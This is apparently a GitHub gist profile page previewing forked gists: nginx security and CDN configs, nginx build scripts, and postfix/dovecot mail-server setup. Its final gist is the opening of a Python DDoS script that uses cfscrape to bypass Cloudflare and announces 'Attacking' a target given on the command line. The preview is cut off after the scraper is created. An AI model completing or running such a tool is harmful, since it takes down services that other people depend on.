Skip to content

Instantly share code, notes, and snippets.

View alsyundawy's full-sized avatar
🏠
WFH | Kaum Rebahan Garis Keras Dan Militas

༺ Initial H ༻ alsyundawy

🏠
WFH | Kaum Rebahan Garis Keras Dan Militas
View GitHub Profile
@alsyundawy
alsyundawy / nginx.conf
Created December 28, 2016 15:09 — forked from plentz/nginx.conf
Best nginx configuration for improved security(and performance). Complete blog post here http://tautt.com/best-nginx-configuration-for-security/
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@alsyundawy
alsyundawy / Nginx_1.11_Mainline_Cent_6_7_Static_OpenSSL_1.1.sh
Created January 7, 2017 13:22 — forked from kennwhite/Nginx_1.11_Mainline_Cent_6_7_Static_OpenSSL_1.1.sh
RPM build Nginx 1.11.x with ALPN on CentOS 6/7 using static OpenSSL 1.1 (v 1.02+ required for http/2 support in Chrome)
# Based on CentOS7 fork of @smartmadsoft: https://gist.github.com/moneytoo/ab3f34e4fddc2110675952f8280f49c5
# "6" for CentOS6 or Amazon Linux, "7" for CentOS7
CENTVER="6"
OPENSSL="openssl-1.1.0-pre5"
NGINX="nginx-1.11.0-1"
yum clean all
# Install epel packages (required for GeoIP-devel)
yum -y groupinstall 'Development Tools'
yum -y install wget openssl-devel libxml2-devel libxslt-devel gd-devel perl-ExtUtils-Embed GeoIP-devel rpmdevtools
OPENSSL="openssl-1.0.2j"
NGINX_VERSION="1.11.7-1"
rpm -ivh http://nginx.org/packages/mainline/centos/7/SRPMS/nginx-$NGINX_VERSION.el7.ngx.src.rpm
rpm -ivh http://nginx.org/packages/mainline/centos/7/SRPMS/nginx-module-geoip-$NGINX_VERSION.el7.ngx.src.rpm
rpm -ivh http://nginx.org/packages/mainline/centos/7/SRPMS/nginx-module-image-filter-$NGINX_VERSION.el7.ngx.src.rpm
rpm -ivh http://nginx.org/packages/mainline/centos/7/SRPMS/nginx-module-njs-1.11.7.0.1.6-1.el7.ngx.src.rpm
# Based on CentOS7 fork of @smartmadsoft: https://gist.github.com/moneytoo/ab3f34e4fddc2110675952f8280f49c5
# "6" for CentOS6 or Amazon Linux, "7" for CentOS7
CENTVER="6"
OPENSSL="openssl-1.0.2j"
NGINX="nginx-1.10.2"
yum clean all
# Install epel packages (required for GeoIP-devel)
@alsyundawy
alsyundawy / postfix-dovecot-ubuntu14.04.sh
Created April 11, 2017 10:27 — forked from haisum/postfix-dovecot-ubuntu14.04.sh
Automated bash script to setup dovecot postfix mysql email server on ubuntu 14.04
#!/usr/bin/env bash
#####
# Script to install postfix
#####
DOMAIN="example.com"
EMAIL="haisum@example.com"
PASSWORD="example.com1*"
@alsyundawy
alsyundawy / build_nginx.sh
Last active March 5, 2018 14:20 — forked from Belphemur/build_nginx.sh
Compiling Nginx with LibreSSL (and http2)
#!/usr/bin/env bash
# names of latest versions of each package
export NGINX_VERSION=1.13.9
export VERSION_PCRE=pcre-8.41
export VERSION_LIBRESSL=libressl-2.6.4
export VERSION_NGINX=nginx-$NGINX_VERSION
#export NPS_VERSION=1.9.32.10
#export VERSION_PAGESPEED=v${NPS_VERSION}-beta
#!/usr/bin/env bash
# Names of latest versions of each package
export VERSION_PCRE=pcre-8.41
export VERSION_ZLIB=zlib-1.2.11
export VERSION_LIBRESSL=libressl-2.6.4
export VERSION_NGINX=nginx-1.13.9
# URLs to the source directories
export SOURCE_LIBRESSL=http://ftp.openbsd.org/pub/OpenBSD/LibreSSL/
smtpd_recipient_restrictions =
reject_invalid_hostname,
reject_unknown_recipient_domain,
reject_unauth_pipelining,
permit_mynetworks,
permit_sasl_authenticated,
reject_non_fqdn_recipient,
reject_unauth_destination,
reject_unverified_recipient,
reject_non_fqdn_sender,
@alsyundawy
alsyundawy / cdn-nginx.conf
Created March 1, 2018 11:30 — forked from 0xAsuka/cdn-nginx.conf
Nginx CDN Server Configuration
server {
listen 80;
server_name cdn.domain.org;
root /usr/share/nginx/cdn
location / {
proxy_pass http://domain.org;
proxy_set_header Host $host;
proxy_set_header True-Client-IP $remote_addr;
#Bypass by cth103
#i'm sorry
#og code by tin-tnguyen
#DDoS without caring bout cloudfare
import cfscrape, sys, os
print "Attacking " + sys.argv[1] + " ... "
def attack():
scraper = cfscrape.create_scraper()